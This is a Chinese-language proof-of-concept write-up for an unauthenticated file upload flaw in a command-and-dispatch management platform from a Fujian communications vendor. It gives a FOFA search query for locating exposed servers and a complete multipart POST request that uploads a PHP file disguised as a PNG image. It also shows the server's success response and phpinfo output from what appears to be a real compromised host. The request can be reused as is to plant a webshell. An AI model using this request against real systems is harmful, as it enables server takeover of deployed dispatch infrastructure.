F2-7福建科立讯通信-指挥调度管理平台-文件上传

漏洞描述：

福建科立讯通信有限公司指挥调度管理平台upload.php、task/uploadfile.php、event/uploadfile.php多处接口存在文件上传漏洞，未经身份认证的攻击者可通给该漏洞写入后门文件，可导致服务器失陷。

网站图片：

网络测绘：

fofa语法：

FOFA：body="指挥调度管理平台"

漏洞复现：

payload：

```
POST /custom/zx/task/uploadfile.php HTTP/1.1
Host: your-ip
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySwvD8hSn3Z0sHfMu
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imageapng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name="uuid"

1
------WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name="number"

200
------WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name="uploadfile";filename="e.php"
Content-Type: image/png

<?php phpinfo(); ?>
------WebKitFormBoundarySwvD8hSn3Z0sHfMu--
```

效果图:

Request

数据包扫描 热加载 构造请求

```
POST /custom/zx/task/uploadfile.php HTTP/1.1
Host : 
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySwvD8hSn3Z0sHfMu
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imageapng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name="uuid"

1
------WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name="number"

200
------WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name="uploadfile";filename="e.php"
Content-Type: image/png
```

Responses https 137bytes / 25ms

```
HTTP/1.1 200 OK
Date: Thu, 04 Jan 2024 15:23:20 GMT
Server: Apache
Upgrade: h2
Connection: Upgrade, close
Set-Cookie: PHPSESSID=bc33d562bbfea57f023
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-r
Pragma: no-cache
X-Frame-Options: SAMEORIGIN;
Referer-Policy: origin;
Content-Security-Policy: frame-ancestors
X-Permitted-Cross-Domain-Policies: 'maste
X-XSS-Protection: 1; mode=block;
X-Download-Options: SAMEORIGIN;
X-Content-Type-Options: nosniff;
Strict-Transport-Security: max-age=315360
Content-Type: text/html; charset=utf-8
Content-Length: 137

{"code":0,"msg":"successed","uuid":"21d03
url":"upload\/task\/a10c4eb8-b445-4a29-b
```

不安全 https://1 /upload/task/a10c4eb8-b445-4a29-b7a8-e0327e8143d9.php

PHP Version 7.2.17

System	Linux dispatcher 3.10.0-957.el7.x86_64 #1 SMP Thu Nov 8 23:39:32 UTC 2018 x86_
Build Date	May 13 2019 18:14:36
Server API	Apache 2.0 Handler
Virtual Directory Support	enabled
Configuration File (php.ini) Path	/etc
Loaded Configuration File	/etc/php.ini
Scan this dir for additional .ini files	/etc/php-zts.d
Additional .ini files parsed	/etc/php-zts.d/bz2.ini, /etc/php-zts.d/calendar.ini, /etc/php-zts.d/ctype.ini, /etc/ph /etc/php-zts.d/dom.ini, /etc/php-zts.d/exif.ini, /etc/php-zts.d/fileinfo.ini, /etc/php- zts.d/gd.ini, /etc/php-zts.d/gettext.ini, /etc/php-zts.d/gmp.ini, /etc/php-zts.d/icon zts.d/json.ini, /etc/php-zts.d/mbstring.ini, /etc/php-zts.d/mysqlnd.ini, /etc/php-zts /etc/php-zts.d/opcache.ini, /etc/php-zts.d/pdo.ini, /etc/php-zts.d/pdo_mysqlnd.ini zts.d/pdo_sqlite.ini, /etc/php-zts.d/phar.ini, /etc/php-zts.d/shmop.ini, /etc/php-zts /etc/php-zts.d/sockets.ini, /etc/php-zts.d/sqlite3.ini, /etc/php-zts.d/tokenizer.ini, /e /etc/php-zts.d/xml_wddx.ini, /etc/php-zts.d/xmlreader.ini, /etc/php-zts.d/xmlwrite zts.d/xsl.ini, /etc/php-zts.d/zip.ini
PHP API	20170718
PHP Extension	20170718